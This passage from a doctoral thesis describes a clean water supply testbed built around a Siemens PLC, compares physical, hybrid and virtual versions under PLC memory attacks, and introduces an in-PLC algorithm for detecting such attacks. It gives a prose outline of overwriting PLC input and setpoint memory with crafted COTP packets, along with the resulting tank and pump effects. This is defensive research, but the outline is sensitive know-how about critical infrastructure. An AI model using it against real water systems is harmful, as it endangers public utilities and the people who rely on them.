reservoir tank (B102) to the lower tank (B101) making the process of transferring 

water from B102 tank to B101 tank slower. Hence, the height of the B102 tank had 

to be increased approximately 25 centimetres to obtain better water pressure as 

shown in Figure 4.2.  

When the water is flowing from B101 tank to the reservoir tank (B102) the 

state of the solenoid valve is open, thereby the water is able to go through. 

Nevertheless, one of the issues we encountered was that when the pump is not 

operating the water accumulated in the pipes returns to B101 tank through the 
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Figure 4.2 Modified version Festo Rig (on the left). Festo Rig control diagram (on the right) 

pump, which alters the behaviour of the control system. To solve this issue, the 

solenoid valve was simulated as a non-return valve; as a result, the water returning 

when the pump is not operating is stopped. 

 

 

 

 

 

 

 

 

 

     

Further, the default configuration of the Festo Rig includes only one flowmeter, 

which is placed right after the pump and tagged as FIC B102 in Figure 4.1. This 

allows implementing a control system which is self-regulation. The water from the 

main supply is pumped via a piping system. The flow rate is detected by means of an 

optoelectronic vane sensor.  

To expand the implemented control techniques, another flowmeter is added 

to the Festo Rig and it is placed on the outlet of the reservoir tank (B102). This 

sensor is tagged as FIC B103 in Figure 4.2. Adding a new sensor allows implementing 

a feedforward control strategy using the values provided by the flowmeters. Figure 

4.2 shows the placement of this sensor tagged as FIC B103. The Festo Rig includes a 

pressure control function, which involves one pressure tank and one pressure 

sensor.  

 



Industrial Control Systems Cybersecurity Analysis and Countermeasures 
Chapter 4: PLC Memory Attacks; A practical Approach 
 

  

Andres Santiago Robles Durazno  2021  Page 99 

This sensor measures the pressure in the pipes when the pump delivers water 

from B101 tank to B102 tank. Right after B102 tank, we have added another 

pressure sensor, which is tagged with PI 105 in Figure 4.2, because it allows the 

implementation of pressure control which is capable of measuring the weight and 

therefore the height of water inside the reservoir tank (B102). 

4.3.1 CWSS testbed architecture 

The CWSS testbed adopts the model suggested by NIST Special Publication 

800-82 (Stouffer et al., 2015), which is one of the most popular ICS architectures 

among researchers (Ogundokun et al., 2018). NIST proposes four general levels as 

discussed in the Literature Review in Chapter 2. Our proposed testbed architecture 

only implements the first three levels, which are explained below, because these are 

the ones that compose the entire control process. Level four that describes the 

corporate network is beyond the scope of this research. Figure 4.3 shows the 

architecture of the CWSS testbed based on the NIST suggested model.  

1. Level 0: Input-Output. This level includes hardware that composes the 

control system such as sensor and actuators. The CWSS testbed includes the 

components listed below 

a. One Ultrasonic Level Sensor. 

b. Two Flowmeters. 

c. Two Pressure Sensors. 

d. One Pump. 

e. One Solenoid Valve. 

f. One Proportional Valve.  

2. Level 1: field devices. The equipment used to control the operation of the 

system is located at this level. Such equipment is fed with information that 

comes from level 0. The CWSS testbed is composed of SIMATIC S7-1500 PLC 

at level 1.  

3. Level 2: supervisory control. This level includes equipment that monitors the 

status of the process through the information provided by the PLC. The 

equipment employed to test, and exploit vulnerabilities in the CWSS testbed 
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Figure 4.3 CWSS testbed architecture 

is also placed at this level. This equipment is shown in Figure 4.3 and listed 

as follows: 

a. SCADA system running Windows 10 

b. Siemens HMI 

c. Attacker’s computer running Kali Linux. 

 

 

 

 

 

 

 

 

 

 

 

4.3.2 PLC coding 

The control techniques implemented in the Siemens PLC to control the 

operation of the model of our clean water supply system (Festo Rig) are described 

as follows. Table 4.1 summarizes the control techniques implemented and the 

sensors involved in each technique. The column tag can be mapped to Figure 4.2, on 

page 92, for a better understanding of the implementation. 
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Table 4.1 Control techniques implemented in the PLC 

Control 

Technique 
Sensor(s) Tag 

PID 
Ultrasonic Sensor LIC/B101 

Pressure Out PIC/105 

Cascade 

Flowmeter In - 

Ultrasonic Sensor 
FIC/B102 -  LIC/B101 

Flowmeter In - 

Pressure Out 
FIC/B102 -  PIC/105 

FeedForward 
Flowmeter In - 

Flowmeter Out 
FIC/B102 - FIC/B103 

 

A. PID implementation. 

The PID controller is a control technique which is based on early mechanical 

and electronic controllers and consists of three basic control actions:  

• Proportional (P). A suitable action inside the control error area to 

eliminate oscillations. 

• Integral (I). Increase in control signal to lead error towards zero. 

• Derivative (D). Fast reaction on change on the controller input. 

The effect of these parameters can be modified to match or tune the controller 

to the dynamics of the process to be controlled (Ang et al., 2005). According to the 

authors (Oku & Obot, 2018) more than 95% of the controllers in the industry are of 

the PID type controller. There are several forms of the PID algorithm implemented 

on today’s controllers, such as serial, parallel and mixed that achieve similar levels 

of control. Figure 4.4 shows the representation of the parallel or separated form of 

PID controller. The controller output (OP) is determined from the error (E) which is 

obtained by subtracting the process variable (PV) from the Setpoint (SP) (Kamel & 

Kamel, 2014). 

 



Industrial Control Systems Cybersecurity Analysis and Countermeasures 
Chapter 4: PLC Memory Attacks; A practical Approach 
 

  

Andres Santiago Robles Durazno  2021  Page 102 

Figure 4.4 Parallel PID controller structure 

 

 

 

 

 

 

 

The PID water level control was implemented on the clean water supply 

system testbed. The water level of the tank is measured using an ultrasonic 

transducer to provide the Process Variable (PV). The Output (OP) of the controller 

was used to regulate the speed of the delivery pump to maintain the required tank 

water level SetPoint (SP). The controller was implemented on a SIMATIC S7-1500 

PLC and tuned using the Ziegler Nichols methodology, which is a heuristic PID 

tuning rule that provides the optimum values for the PID components: Kp – the 

controller path gain, Ti, the controller’s integrator time constant and Td, the 

controller’s derivative time constant (Valério & da Costa, 2006). This is a well-

established method implemented and used in similar water systems as explained in 

the research provided by (Kamarudin et al., 2018) and (Laily & Abdul-

RahmanSyariza, 2016). 

The implementation of the PID Control for this control process takes the latest 

version of the PID block available on Siemens TIA Portal V14. The PID control is 

allocated inside a cyclic interrupt block which is active every 100ms. The Setpoint 

value is set via the HMI interface. This value is stored in an optimized datablock and 

then forwarded to the PID Control. The process variable is previously calculated 

using the values obtained from the ultrasonic sensor or pressure sensor. These 

values are obtained from the analogue input memory of the PLC. The output value 

of the PID control represents the required speed at the pump on the scale of 0 to 100 

percent. However, it is required to convert the PID output into a value 

understandable for the pump controller. To achieve this, we created a function block 

that converts this representative speed in % to an integer value between 0 and 
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Figure 4.5 Cascade water level controller 

27648 for the D/A process. Finally, this value is written in the digital analogue 

output memory of the PLC.  

B. Cascade controller implementation. 

Cascade control is a control strategy used to improve the control performance 

over a single loop controller. The cascade architecture consists of two controllers, 

requiring two measured process variables and one final output. The outer loop 

controller’s output is suitably ranged to become the inner loops set point. In this 

implementation, the clean water supply system can be also controlled by a cascade 

control, as shown in Figure 4.5. The cascade control technique is beneficial when the 

inner loop is at least three times more dynamic than the outer loop, as it is in our 

scenario. We started designing and implementing the PID controller, for the model 

of a clean water supply system, in the inner loop. The parameters used are the 

flow_in as the process variable (PV2), and its setpoint is given by the output from 

the outer loop controller (OP1). For the outer loop, the process variable is the 

reservoir tank level via the ultrasonic sensor or the pressure_out (PV1) and its 

setpoint (Level SP) is the desired tank level provided by the operator. The primary 

controller is in the range of 0 to 100. The secondary controller expects a setpoint in 

the range of 0 to 4.  This is because the maximum flow of this control system is 4.1 

litres/min when the pump is working at 100% of its capacity. As a result, the output 

from the primary controller is scaled down. The output from the secondary 

controller drives the pump and maintains the water level in the reservoir tank. 
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Figure 4.6 Cascade level control with feedforward 

C. Feedforward controller implementation. 

Feedforward control systems measure the disturbance and modify the 

controller output before the process variable has time to respond. For this to be 

successful, the designer requires to understand how the disturbance will affect the 

process variable. In this work, we have also applied this control strategy. In this case, 

the disturbance will be the change in the outlet flow from the reservoir tank. If we 

are controlling the tank water level using Cascade control, we can feed this forward 

to the inner loop SP as shown in Figure 4.6. 

 

 

 

 

 

D. Water demand models 

To simulate clean water demand of a small town, a water demand model was 

constructed which is represented in Figure 4.7. The X-axis represents 24 hours of a 

day and the Y-axis represents the value applied to the space of memory addressed 

to the proportional valve. Unfortunately, the existing literature does not have 

models of water demand for small towns, nor are there public records available in 

the UK. For this reason, our water demand model was built based on the energy 

consumption in the UK available on this site (NORDPOOL, 2018). It can be argued 

that the simulation only represents one week and in some cases the water demand 

might variate depending on various factors over longer periods. For instance, water 

demand during the summer might be higher than during the winter, or even during 

the holidays. However, for experimental purposes the water demand model ignores 

such variances. These models are stored in the PLC. 
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Figure 4.7 Water demand models 

 

 

 

 

 

 

 

 

4.3.3 CWSS testbed scenarios 

In this section, the normal operation of the implemented CWSS testbed is 

defined along with the proposed attack scenarios. 

A. Normal operation. 

In this research, an uninterrupted clean water supply system was modelled in 

the Festo MPS PA Compact Workstation Rig. In the CWSS testbed, it is assumed that 

the water has already passed a treatment process and it is ready to be distributed, 

to supply a town with clean water. The B101 tank contains the water that supplies 

the reservoir tank (B102) through the variable speed pump 101. The water demand 

from customers was modelled and implemented using the proportional valve of the 

Festo Rig. In normal operation, the water level in the reservoir tank (B102) needs to 

be maintained at a certain setpoint introduced by the operator. To achieve this, three 

different control techniques, explained in the previous section, such as PID, Cascade 

and Feedforward are implemented. Each control technique uses different types of 

sensors for its operation. For example, we can implement a PID-type controller 

using the ultrasonic level sensor or the pressure sensor located at the outlet of the 

reservoir tank. Therefore, our implementation uses different control techniques 

that will be used depending on the attack executed by the intruder. These three 

techniques will be used as a countermeasure to deal with cyberattacks on the CWSS 

as explained in Chapter 5.  
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B. Attack scenario. 

Industrial control networks were isolated from the traditional computer 

networks or business networks by placing their components in an “air-gapped” 

environment. This means they were not reachable from external devices(Byres, 

2004). With the development of technology and the introduction of industry 4.0, 

most of the companies seek to enable the connectivity between the physical 

processes and the Internet because it allows obtaining benefits such as: visibility, 

efficiency, real time and rapid decisions and better customer experience. However, 

connecting the traditional ICS to the Internet exposes the previously isolated 

environments to all sort of cyber threats (Rüßmann et al., 2015).  

In our research, we assume that the attacker has gained access to the control 

network and can communicate with the SIMATIC S7-1500 PLC either as an insider 

threat (e.g. a past or present employee who uses current or past authorized access 

to the system to execute unauthorised actions or misuse) or external hacker 

(Stouffer et al., 2015). As an example of an insider attack, we can name Stuxnet 

(Langner, 2011) as a sophisticated malware for critical infrastructure that struck an 

Iranian nuclear facility in 2010 demonstrating that hackers managed to gain access 

to “air-gapped” computers after a well-planned attack (Chen & Abu-Nimeh, 2011). 

Although a wide range of attacks such as DOS or Main-In-The-Middle might be 

available for the attacker when he/she gain access to a control network. However, 

this research focus on the attacks to the input/output memory of the PLC described 

in Chapter 3 given that attacks mentioned above are widely studied in the existing 

literature related to the ICS cybersecurity.      

 

4.4 Clean Water Supply System: A hybrid and virtual approaches 

This section describes the design and implementation of a hybrid and virtual 

representation of the CWSS physical testbed with the aim of comparing the 

strengths and weaknesses of each implementation and justifying our approach on 

using a physical testbed for this research. 
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Figure 4.9 Festo rig components Figure 4.8 CWSS virtual process 

4.4.1 Virtual Clean Water Supply System testbed 

 

The virtual plant developed for this research simulates the operation of the 

physical process implemented in the Festo rig. To achieve this, we use Simulink 

(Kollár et al., 1991a) which is a MATLAB graphical editor for modelling and 

simulating dynamic systems. Figure 4.8 shows the virtual representation of the 

Festo Rig, while Figure 4.9 shows its equivalent components in our physical testbed. 

 

  

 

 

 

 

 

 

The virtual plant is composed of elements with the same characteristics and 

properties as the physical components. To achieve such similarity, we built the 

virtual sensors/actuators from the information obtained from the Festo Rig 

datasheet (FESTO, 2015). The virtual plant elements are described as follows. 

• Pipes. The diameter of the pipes used in the virtual model is 18.621 mm.  

 

• Pressure vessel. The pressure vessel acts as a normal pipe; however, its 

shape causes a small drop in the water pressure. We model this 

component as a sudden change in the pipeline. The diameter of both ends 

corresponds to the diameter of the pipe, which is 18.621m. The diameter 

at the centre of the pressure vessel is calculated using Eq 1. The volume 

(Vol) is obtained from the Festo rig datasheet, while h represents the 

height of the vessel.    
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𝑑 =  √
𝑉𝑜𝑙

𝜋ℎ
     

• Pump. The virtual pump is composed of several components. A motor 

controller which supplies a voltage in the range of 0 to 24 volts, a DC Motor 

and a centrifuge pump.  

 

• Proportional valve. The proportional valve simulates the water demand 

of a town. The virtual valve operates with the same water demand models 

implemented in the physical valve. It is implemented as a variable orifice 

valve. Its range of operation is determined during the experimentation 

phase.  

 

• Water tanks. The water tanks have a variable cross-section area. The first 

step is to obtain the measurements of the physical tanks. Then, the virtual 

tanks are created from these measurements. 

 

• Flowmeters. The physical flowmeters are represented as hydraulic flow 

rate sensors.  

 

• Ultrasonic sensor. The ultrasonic sensor is not implemented in the 

virtual testbed. The virtual tanks provide its fluid level.  

 

4.4.2 Hybrid Clean Water Supply System testbed 

 

Figure 4.10 shows the CWSS hybrid testbed (CWSS-H) architecture. It adopts 

the three levels explained at the physical testbed, the main difference is that 

sensors/actuators that compose the Festo rig are simulated in MATLAB. Therefore, 

the virtual testbed is located at Level 0. The SIMATIC S7-1500 PLC receives 

information from the virtual sensors and commands the speed of the virtual pump 

through the Open Platform Communications (OPC) server. OPC is the 

interoperability standard for the secure and reliable exchange of data between 

industrial components. To allow such communication, it is required to disable the 

(Eq. 1) 
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Figure 4.10 CWSS-H testbed architecture 

memory optimisation feature in the PLC. In addition, it is necessary to implement an 

OPC communication module in the virtual process in MATLAB. This module will 

allow sending the values of the virtual sensors to the PLC and at the same time it will 

receive the parameters that will be sent for the operation of the virtual actuators. 

The main issue found here is that by disabling the memory optimisation 

intruders can access and manipulate those spaces of memory. This configuration 

makes the hybrid system more vulnerable compared to the physical system. Chapter 

3 explained the importance of features like memory optimisation and how they 

prevent unauthorized memory access. 

 

 

 

 

 

 

 

 

 

A. OPC server and client 

OPC is a software interface standard that allows communication between 

industrial equipment and computers(Vardar et al., 2018). The implementation of 

OPC specifications involves two parts: OPC Server application and OPC client 

application. The OPC server obtains information from PLC and sends it back to OPC 

client application using the standard OPC protocol. In our hybrid testbed, the OPC 

toolbox (MATLAB, 2020) in MATLAB sends the virtual tank level to the OPC server. 

This value is used in the physical PLC as the Process Variable (PV) for the PI 

controller that calculates the required speed of the virtual pump. The OPC server 

recovers this value and the water demand from the PLC working memory. These 
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Figure 4.11 CWSS-V testbed 

values are sent back to the OPC client in MATLAB. The communication between the 

PLC, OPC Server, and MATLAB is through the OPC protocol that runs over the TPC/IP 

network.  

4.4.3 Virtual Clean Water Supply System testbed 

 

The CWSS virtual testbed (CWSS-V) is entirely implemented in MATLAB. In 

comparison with the physical and hybrid testbeds, the virtual testbed is composed 

of two levels. Level 0 includes the virtual sensors/actuators while the PLC is 

replaced by the PI controller at Level 1. Figure 4.11 shows the virtual testbed. The 

virtual control process is the same used in the hybrid testbed. The input parameters 

are the speed of the pump, which is given by the PI controller. Another input is the 

water demand, which is generated by a tool called: Signal Builder. The PI controller 

uses the same values of proportional and integral used in the physical PLC, while the 

signal builder replicates the water demand model used in the previous testbeds 

CWSS-P and CWSS-H. 

 

 

 

 

 

 

 

The virtual representation of this testbed shown in Figure 4.11, was derived 

using MATLAB tools in the form of a Transfer Function (TF). This was achieved by 

interfacing MATLAB to the testbed using an OPC server to stimulate the real test rig 

via the pump and observe its response. From evaluating these responses, MATLAB 

can estimate the system behaviour in terms of a mathematical representation of the 

system dynamics in the frequency domain defined using the Laplace operator. This 

operator is given by the divergence of the gradient of a function on Euclidian space 

(Kollár et al., 1991b). The TF defines the relationship between the system output 
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2.603𝑒13

𝑠6 + 5.397𝑒05𝑠6 + 4.468𝑒10𝑠4 + 7.113𝑒13𝑠3 + 1.608𝑒16𝑠2 + 1.184𝑒16𝑠 + 1.436𝑒13
 

(tank level) in response to the input stimuli (pump speed command) i.e. open loop. 

The TF models all the physical system components mathematically. The derived 

transfer function of our system is a sixth-order polynomial as shown in Eq 2.  

 

 

 

 

We can simulate the closed-loop response by adding a mathematical model of 

a Proportional Integral (PI) controller as shown in Figure 4.12 This allows us to 

evaluate the closed-loop response of the system. 

 

Figure 4.12 CWSS transfer function 

 

4.4.4 Evaluation of the testbeds during normal and under attack scenarios 

 

This section shows the evaluation of our three testbeds (CWSS-P, CWSS-H, 

and CWSS-V) from the cyber-security perspective.  

A. Attack scenarios 

The evaluation of the physical and hybrid testbeds against cyber threats is 

performed by assuming that an attacker has access to the control network. In this 

scenario, the attacker has gained access at Level 1 of the ICS architecture. The 

attacker crafts ISO 8073/X.224 COTP packets and sends over the TCP/IP network 

aiming to overwrite fixed spaces of memory in the PLC. These novel attacks are fully 

explained in Chapter 3. The attacks used to evaluate the physical and hybrid 

testbeds are performed against the input and working memory of the PLC. The 

values modified belong to the ultrasonic sensor at the input memory and setpoint at 

the working memory. Those attacks cannot be executed on the virtual testbed given 

(Eq. 2) 
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that it does not have a physical PLC, however, for evaluation purposes, we mimic 

those attacks by tampering the values of feedback of the PI controller in the virtual 

testbed. This clearly points out one of the limitations of virtual testbeds. 

B. Physical and hybrid testbeds 

The CWSS-P and CWSS-H testbeds are executed at the same time aiming to 

compare their performance during normal operation and under attack scenarios. It 

should be noted that the following limitations are found in this scenario. During 

normal operation, the CWSS-P receives inputs from the sensors / actuators that 

compose the Festo rig. The CWSS-H receives the inputs from the virtual sensors that 

are implemented in MATLAB. It should be noted that virtual sensors are modelled 

after their physical counterpart found on the Festo platform. Under attack 

conditions, the intruder modifies the input memory of the PLC addressed to the 

sensors of the Festo rig. Therefore, the control inputs of the CWSS-P testbed are 

modified. On the other hand, the control inputs of the CWSS-H testbed are not 

modified since they are virtual, however, the attacker can modify the input of the 

actuators by changing the working memory of the PLC that calculates such values. 

Figure 4.13 shows the monitoring of the process variable (setpoint) of CWSS-

P and CWSS-H testbeds during both operations. The grey area in Figure 4.13 shows 

the normal operation of CWSS-P and CWSS-H testbeds. The setpoint of the virtual 

and physical tank in both testbeds remains steady during normal conditions. This 

demonstrates that the virtual model of the Festo Rig performs in a similar way to 

the physical rig during normal operation.  Furthermore, Figure 4.13 shows the 

behaviour of the testbeds when two attacks were executed against the input 

memory and working memory of the PLC. Attack 1 represents a sudden change in 

the working memory addressed to the setpoint. When the setpoint changes both 

testbeds have almost the same response. The main difference between them is 

positive and negative overshoot. This can be attributed to the hybrid testbed being 

mathematically built in MATLAB, while the physical components of the CWSS-P have 

dynamics that cannot be readily simulated. After the execution of Attack 1, the 

system returns to the initial setpoint. This change is shown in Figure 4.13 with the 

label Back N.O.     
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Figure 4.13 CWSS-P and CWSS-H during normal operation and attack conditions 

 

 

 

 

 

 

 

 

 

 

 

Attack 2 shown in Figure 4.13, denotes the attack executed against the space 

of memory addressed to the input memory of the PLC. The attacker modifies the 

values of the physical sensors and the values received by the virtual actuators, as a 

result, the water level in the physical and virtual tanks changes. During the execution 

of this attack, the behaviour of the CWSS-P and CWSS-H testbeds differs. The reason 

for this behaviour difference is because the CWSS-H testbed does not take the 

controller values directly from the PLC, instead it retrieves it from the OPC server. 

This adds a small delay in the control process that is not significant for its operation, 

but it represents a serious threat when the process is under attack because sensitive 

values such as the tank level can be modified. As shown in Figure 4.13, the execution 

of attack 2 on the CWSS-H testbed results in an overflow or emptying of the virtual 

tank 102. Attack2 executed on the CWSS-P testbed produces an increase/decrease 

of the water level at the physical tank 102. Although the attack does not show the 

same behaviour as the one shown in CWSS-H, this can affect other components of 

the CWSS-P testbed such as the pump. The attacker could drive the pump at a very 

low speed causing overheat. 
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C. Virtual testbeds 

The grey area shown in Figure 4.14 represents the normal operation of the 

CWSS-V while the arrows point to the two attacks executed against the setpoint 

during the operation of the system. On the same Figure, the red dotted line 

represents the water level at the virtual reservoir tank and the blue line denotes the 

output of the PI controller, from which is derived the input voltage that regulates 

the pump speed. The first attack executed increases the setpoint by 2 litres, which 

also produces a sudden increase in the output of the PI controller as it can be seen 

in Figure 4.14. This is because the controller detects a mismatch between the 

current water level and the new value entered by the attacker in the system. As a 

result, the PI controller increases its output, which represents the pump speed, until 

it reaches the new setpoint. 

In the second attack, in Figure 4.14, the intruder decreases the setpoint by 6 

litres. The controller output is reduced to 0 because the current water level exceeds 

the setpoint set by the attacker. As a result, the pump stops its operation until the 

new setpoint is reached. 

 

 

 

 

 

 

 

 

 

Figure 4.14 CWSS virtual plant normal operation 

The time it takes to arrive at this new setpoint depends on the demand for 

water at that time. At the end, the system returns to its normal setpoint. Figure 4.15 

shows a closed-loop control system composed of the transfer function that 

represents the CWSS virtual process and a PI controller. The dotted line represents 
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Figure 4.15 CWSS transfer function 

the setpoint, while the continuous line represents the output of the PI controller. 

The grey area represents the normal operation of the system. The operation of the 

system is completely linear. This is a result of the fact that the closed-loop control 

system only takes an input parameter, which is the output of the PI controller. 

Parameters such as water demand are ignored in this simulation.  

As can be seen in Figure 4.15, the controller's output does not change during 

normal system operation. It only changes when the attacks are executed. In Attack 

1, the intruder increases the setpoint, which produces an immediate change in the 

output of the PI controller until the new setpoint is reached. The intruder decreases 

the setpoint of the system in attack 2. The output of the PI controller is reduced to 0 

until the new setpoint is established. The discharge of the tank is linear due to the 

fact this simulation does not implement water demand models.  

 

 

 

 

 

 

 

 

4.5 Discussion 

In this section, the research questions raised at the beginning of this Chapter 

are addressed as follows. 

Research Question 1. How does a hybrid and virtual implementation of a clean 

water supply system differ during normal operation and under attack scenarios in 

comparison with the physical model of such system? 
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According to the results obtained from the experimentation described in this 

chapter, the CWSS-H testbed has the same performance as the CWSS-P testbed 

under normal conditions and when the first attack to the setpoint is executed. 

However, in the second attack, when the intruder modifies the input memory of the 

PLC, the behaviour of the CWSS-H testbed differs from the CWSS-P testbed. The 

delay that the OPC server adds to the CWSS-H testbed allows the attacker to take full 

control of the values provided by the PLC to the virtual system in MATLAB. 

Furthermore, the lack of physical components in the virtual testbed such as the PLC 

does not allow to run it along with the physical testbed. Furthermore, the virtual 

testbed is limited to one simulated attack which is a change of setpoint. The results 

obtained from the experimentation phase show that the hybrid testbed shows a 

similar operation to the physical testbed. The CWSS-V testbed can provide insights 

about the operation of the system under normal conditions, but under attack, the 

results are uncertain and limited given that the implementation of novel attacks is 

almost impossible. For example, the attacks on the PLC memory, cannot be executed 

in a virtual environment.  

Research Question 2. Can we rely on mechanisms of anomaly detection on ICS 

which are developed and tested on virtual platforms? 

The cyber-attack detection mechanisms in ICS require a comprehensive 

understanding of the system operation. Achieving this knowledge through the 

information obtained from virtual simulation environments is complex and often 

impossible. The physical dynamics of the components such as sensors and actuators 

cannot be readily simulated in a virtual environment. Therefore, it is unrealistic and 

rather unsafe to rely on detection mechanisms created in virtual environments. 

According to the results obtained during the experimentation phase, the physical 

environments allow us to visualise the behaviour of cyber-attacks in a real ICS with 

the aim of providing an accurate and efficient mechanism of cyber-attack detection.  
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4.6 Conclusions 

This chapter shows in detail the implementation of the testbed that will be used 

during this research. Initially, the standard version of the FESTO MPA Workstation 

rig was used to implement a clean water distribution process, however, the first 

version implemented was basic and unrealistic. For this reason, the rig is modified 

in order to make the process more realistic. The modification includes adding more 

sensors, which allow to implement more control techniques such as Cascade and 

Feedforward. 

 Further, the physical, hybrid and virtual testbed operation are assessed in this 

Chapter from a cybersecurity perspective. As shown in the results section, under 

normal operation the physical and hybrid testbed show similar behaviour, however, 

they differ under attack. Moreover, the virtual testbed shows limitations when 

implementing the attack scenarios. It makes it difficult to replicate the attack to the 

input memory of the PLC, although, it is feasible to modify the setpoint. The 

mathematical equation obtained from the physical system serves only to show a 

representation of the control process, however, it can be argued whether a security 

system such as an IDS can be built based on that mathematical equation.   

The cyber-attack detection mechanisms in ICS require an understanding of the 

operation of the system. Achieving that understanding through the information 

obtained from virtual simulation environments is complex and often impossible. 

The physical dynamics of the components such as actuators and sensors cannot be 

readily simulated in a virtual environment. Therefore, we wonder if it is possible to 

rely on detection mechanisms created in virtual environments. According to the 

results obtained during the experimentation phase, the physical environments 

allow us to visualize the behaviour of cyber-attacks with the objective of 

constructing an accurate and efficient mechanism of cyber-attack detection. This 

fully justifies our approach regarding of utilising a physical testbed in this research.  
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Chapter 5:  PLC memory attack detection and response 
using an embedded PLC code 

5.1 Introduction 

This chapter proposes a novel mechanism of cyber-attack detection 

and mitigation for attacks focusing on the input memory of 

Programming Logic Controllers (PLCs). This mechanism runs as part 

of the PLC scan cycle and it does not require an additional module nor 

an equipment. To help investigate this concept, the physical Clean 

Water Supply System testbed, proposed and described in Chapter 4, is 

used along with the set of attacks to the PLC memory explained in 

Chapter 3. The cyber-attack detection mechanism monitors 

unexpected changes in the readings received from the sensors, 

written to the input memory, and in the values written to the output 

memory. This process is repeated on each scan of the PLC. The 

mechanism of response involves three different techniques: 

optimised datablocks, switching between control strategies and 

obtaining the sensor readings directly from its analogue channel. The 

results provided at the end of this chapter, which demonstrate the 

feasibility of the proposed approach along with the effectiveness of 

each response mechanism, were published in the International 

Journal of Critical Infrastructure Protection. 

5.2 Research questions 

The experiments described in this chapter aim to tackle a cyber-security issue 

which can be found in control systems regarding PLC vulnerability from memory 

attacks. The following research questions are identified, which are aimed to be 

responded through the conducted experiments: 

• Research Question 1: How do PLC memory attacks affect its process control 

operation? 

• Research Question 2: Is it possible to minimise the impact of cyber-attacks 

on the control systems using control methods? 
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• Research Question 3: What countermeasures could be taken into 

consideration to continue the control system’s current operation when a 

cyber-attack is detected? 

5.3 Memory attack detection and response techniques 

The literature review that we discussed in Chapter 2 shows that most of the 

research focuses on detecting the attacks at the TCP/IP level in the control network, 

as shown in the research conducted by (Ahmed & Mathur, 2017; Kang et al., 2016). 

In this chapter, a novel technique is presented for attack detection and response for 

the input memory of the PLC. This technique is coded inside the PLC and it does not 

require an additional module nor an equipment.  For testing purposes, the attacks 

described in detail in Chapter 3 will be executed against the CWSS physical testbed 

implemented on the Festo rig. Image 5.1 will be used as a reference for the rest of 

this chapter. This image shows the diagram of the Festo rig and the control 

techniques implemented in the PLC used in our research. 

 

Figure 5.1 Festo rig and control techniques implemented in the PLC 
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5.3.1 Embedded PLC algorithm for memory attack detection 

In our scenario, the aim of the attacker is to overwrite the spaces of the 

memory of the PLC addressed to its Inputs. The PLC updates its memory each cycle, 

which is usually measured in milliseconds. Thus, the attacker has to be fast enough 

to keep the wrong value in the input memory for the majority of time. According to 

the data obtained from the experimentation phase conducted in the CWSS physical 

testbed, the attacker is able to overwrite the PLC memory addressed to the Inputs 

with 67% of the time with the wrong values during one second, which represents 

670 values out of 1,000. In normal scenarios, the PLC should not expect considerable 

changes between the previous and current reading. For instance, in our scenario we 

cannot expect the water level in a tank to drop a litre in less than a second. Bearing 

that in mind, we design and implement in the PLC an input/output memory 

monitoring as part of its code. Figure 5.2 shows the flowchart for our 

implementation. Table 5.1 presents a description of the variables represented in 

Figure 5.2. The flowchart is described as follows. 

Sensor Reading
Previous Reading 

= Sensor Reading

Dif = Sensor Reading – 

Previous Reading

Dif > 

Reading_Threshol

d

Reset Timer_1

Yes

No

Counter_1 > 0
No

Yes

Timer_1 += 1
Timer_1 > 

Time_Threshold

Yes
Reset Alarm_ONReset Counter_1

Reset Timer_1 No

Alarm_ON?Counter_1 += 1
Counter_1 > 
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No

No

Yes

Raise Alarm_ON

Yes

 

Figure 5.2 PLC input memory attack detection 

 



Industrial Control Systems Cybersecurity Analysis and Countermeasures 
Chapter 5: PLC Memory Attack Detection and Response Using an Embedded PLC Code 
 

  

Andres Santiago Robles Durazno  2021  Page 121 

 

Table 5.1 Variables description 

Variable Description 

Dif Contains the difference between the current and previous sensor reading. 

Timer_1 How long the alarm has been triggered 

Counter_1 
Number of times the variable Dif has been greater than the established reading 

threshold 

Alarm_ON This variable is set to ON when an attack on the control process has been detected. 

Reading_Threshold The maximum difference allowed between the current and previous reading. 

Time_Threshold When the attack stops, how much time has to pass to turn off the alarm. 

Max_Allowed The number of wrong readings before turning on the alarm. 

 

This algorithm starts by taking the readings from the inputs addressed to each 

sensor connected to the PLC. The variable Dif stores the subtraction of the previous 

and current sensor reading. For instance, for the ultrasonic sensor, the maximum 

sudden change expected in the water level is given by subtracting the value of the 

maximum flow when the pump is working at 100% of its capacity minus the flow 

with the lowest water demand.    

𝑅𝑒𝑎𝑑𝑖𝑛𝑔𝑇ℎ𝑟𝑒𝑠ℎ𝑜𝑙𝑑 = 𝑀𝑎𝑥𝐹𝑙𝑜𝑤𝐼𝑛 − 𝑀𝑖𝑛𝐹𝑙𝑜𝑤𝑂𝑢𝑡 

When the Dif variable is greater than the expected value, the Timer_1 variable 

is reset and it is verified whether the alarm has been turned on. If not, Counter_1 

variable is increased, which keeps a record of the number of times the difference 

between the previous and current sensor reading has been greater than the 

expected value. When the Counter_1 variable is greater than the maximum allowed 

value, it turns on an alarm indicating that the space of memory addressed to that 

sensor is under attack. It should be noted that during the experimentation phase it 

was realised that the external factors such as humidity, affected some of the readings 

obtained from the sensors as a result it might produce a false positive alarm.  

In addition, the water turbulence affected the readings of the ultrasonic sensor 

from time to time. For this reason, this was taken into consideration when each 

threshold value was calculated. The main purpose is to reduce the number of 

generated false/positive alarms. It also taken into consideration the scenario when 

the intruder stops the attack. Hence, when the Dif variable is less than the 
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Reading_Threshold variable, it is compared whether the variable counter is greater 

than zero. If so, the Timer_1 variable start increasing. If the variable is greater than 

the Time_Threshold variable, it means that the attack stopped. Finally, the two 

alarms represented with Counter_1 and Timer_1 variables are reset.  

5.3.2 Attack response 

Related research on ICS focuses on Cyber-Attacks detection was presented and 

explained in Chapter 2. The authors (Adepu & Mathur, 2017; Mathur & Tippenhauer, 

2016) provided a mechanism of attack detection on their research, however, only a 

few approaches provide a mechanism of response to intrusions, such as the work 

presented by (Cárdenas et al., 2011). One of the main reasons might be that critical 

infrastructures are composed of complex and expensive equipment. In most of the 

cases, replicating such systems for testing purposes is not feasible.  

The CWSS testbed described in detail in Chapter 4 simulates a water 

distribution system that is usually found in small towns. During normal operation, 

B102 tank, shown in Figure 5.1, is poured with water until it reaches a certain 

setpoint, which is set by the plant operator. Figure 5.3 shows the readings obtained 

from the ultrasonic sensor during the CWSS physical testbed operation under 

normal conditions. It shows that the readings obtained from the ultrasonic sensor 

remain steady, which means that the water level does not increase or decrease after 

reaching the setpoint of 6 litres configured.     
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Figure 5.3 Ultrasonic sensor level reading during normal operation 

 

 In an attack scenario, the operation of the process under control is disrupted 

when the attacker overwrites the space of memory in the PLC which is addressed to 

the ultrasonic sensor. Although, the supervisor console alerts about the attack, the 

